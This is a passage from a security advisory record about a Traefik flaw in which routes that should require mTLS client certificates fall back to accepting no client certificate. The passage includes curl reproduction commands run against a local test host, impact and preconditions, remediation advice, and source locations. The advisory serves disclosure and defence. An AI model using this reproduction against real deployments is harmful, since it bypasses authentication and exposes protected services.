`traefik:v3.7.9`:\r\n\r\n```text\r\nHTTP/1.1 200 OK\r\nBACKEND_REACHED path=/protected\r\n```\r\n\r\nThe same request with a valid client certificate also returned `200 OK`:\r\n\r\n```bash\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve mtls.example.test:18448:127.0.0.1 \\\r\n  --cert certs/client.crt --key certs/client.key \\\r\n  https://mtls.example.test:18448/protected\r\n```\r\n\r\nControl request to a host served by a single Ingress, without a client\r\ncertificate:\r\n\r\n```bash\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve control.mtls.example.test:18448:127.0.0.1 \\\r\n  https://control.mtls.example.test:18448/protected\r\necho \"curl_exit=$?\"\r\n```\r\n\r\nObserved control result:\r\n\r\n```text\r\ncurl_exit=56\r\n```\r\n\r\nThe `-k` option only disables verification of the local server certificate. It\r\ndoes not provide a client certificate and does not disable server-side\r\nclient-authentication.\r\n\r\n## Impact and preconditions\r\n\r\nAn unauthenticated network client can reach a route intended to require mTLS\r\nwhen all of the following are true:\r\n\r\n1. The Kubernetes Ingress NGINX provider is enabled.\r\n2. The same SNI/host is split across multiple HTTPS Ingress objects.\r\n3. The resulting routers receive different TLS option names.\r\n4. At least one of those routes is intended to require and verify client\r\n   certificates.\r\n5. The affected route is reachable by the client.\r\n\r\nThe issue is configuration-dependent. A host served by a single unambiguous TLS\r\noption is not affected by this specific conflict.\r\n\r\nIf an untrusted tenant can create another Ingress for an existing host, that\r\ntenant may be able to introduce the conflict. After the conflicting\r\nconfiguration has been accepted, the network client accessing the route does\r\nnot need Kubernetes credentials or a client certificate.\r\n\r\n## Suggested remediation\r\n\r\n- Reuse one TLS option identity for equivalent host-level client-authentication\r\n  settings rather than including the Ingress identity in the option name.\r\n- Reject or fail closed when same-host routers have conflicting TLS options.\r\n- Do not fall back from `RequireAndVerifyClientCert` to a default\r\n  `NoClientCert` configuration when a same-host conflict involves client auth.\r\n- Add a regression test proving that split same-host Ingress objects cannot\r\n  downgrade `RequireAndVerifyClientCert` to `NoClientCert`.\r\n\r\n## Source locations\r\n\r\n- `pkg/provider/kubernetes/ingress-nginx/kubernetes.go`: generates and attaches\r\n  the per-Ingress auth-TLS option.\r\n- `pkg/server/router/tcp/manager.go`: resolves same-host TLS options and falls\r\n  back to the default option when they differ.\r\n- `pkg/tls/tlsmanager.go`: initializes the default TLS configuration without a\r\n  client-authentication requirement.\r\n\n\n</details>","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","source":"GHSA-j994-9gqj-9hwq"}],"affected":[{"ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"v3.7.0"},{"fixed":"v3.7.11"}]}],"fixed":["v3.7.11"],"provider":"github-repo-advisories","source":"GHSA-j994-9gqj-9hwq","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://github.com/traefik/traefik/security/advisories/GHSA-j994-9gqj-9hwq"}]}],"references":[{"type":"ADVISORY","url":"https://github.com/traefik/traefik/security/advisories/GHSA-j994-9gqj-9hwq"}],"sources":[{"provider":"github-repo-advisories","source_id":"GHSA-j994-9gqj-9hwq","url":"https://github.com/traefik/traefik/security/advisories/GHSA-j994-9gqj-9hwq","license":"GitHub Terms of Service","modified_at":"2026-08-21T09:45:53Z","relation":"self"}]}
